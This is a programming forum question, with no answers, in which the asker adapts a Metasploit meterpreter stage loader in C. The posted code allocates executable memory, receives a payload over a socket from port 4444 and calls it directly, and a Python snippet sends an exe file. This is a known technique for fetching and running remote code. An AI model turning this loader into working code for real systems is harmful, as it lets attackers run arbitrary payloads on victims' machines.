loading an running an exe file from a buffer in C

507 views Asked by At

I wanted to retrieve an exe file from a socket and run it right from the buffer in C . I've found this little loader in github which was written to load meterpreter:

https://github.com/rsmudge/metasploit-loader/blob/master/src/main.c

As far as i know it works like this:

  1. it gets the size of the exe file and allocates a buffer with the size + 5.

  2. then it downloads the file using a socket and saves it in the buffer.

  3. and casts the buffer to a pointer to function and simply calls the function.

That's what is does from a high abstraction. Though I don't exactly know what buffer[0] = 0xBF; actually does.

I've tried to change the code to run my exe file like this (the rest of functions are exactly the same as the original code):

//receive the agent data 
int recv_all(SOCKET my_socket, void* buffer, int len) {
    int    tret   = 0;
    int    nret   = 0;
    char* startb = (char *) buffer;
    while (tret < len) {
        nret = recv(my_socket, (char *)startb, len - tret, 0);
        if (nret == SOCKET_ERROR)
            punt(my_socket, "Could not receive data");
        startb += nret;
        tret   += nret;
    }
    return tret; // length of received Data 
}

int main(int argc, char *argv[]){

    char host[] = "localhost";
    int port = 4444;
    int count;
    ULONG32 size = 624128;  //size of my file hard coded
    char *buffer;
    void (* function)();
    SOCKET my_socket;
    winsock_init();
    my_socket = wsconnect(host, port);
    buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (buffer == NULL){
        punt(my_socket, "could not allocate buffer");
    }
    buffer[0] = 0xBF;
    memcpy(buffer + 1, &my_socket, 4);
    count = recv_all(my_socket, buffer + 5, size);
    function = (void (*)())buffer;
    function();
    return 0;
}

As you can see I've just hard coded the size of my file in bytes.

Here is how I send the file:

f = open("my_file.exe", "rb")
l = f.read(1024)
while(l):
    c.send(l)
    l = f.read(1024)
f.close()

But after running the C code I get "Access violation":

Unhandled exception at 0x0069000C in laoder.exe: 0xC0000005: Access violation writing location 0x00D20000.

I'd appreciate any help on why this happens and what I am doing wrong.

0

There are 0 answers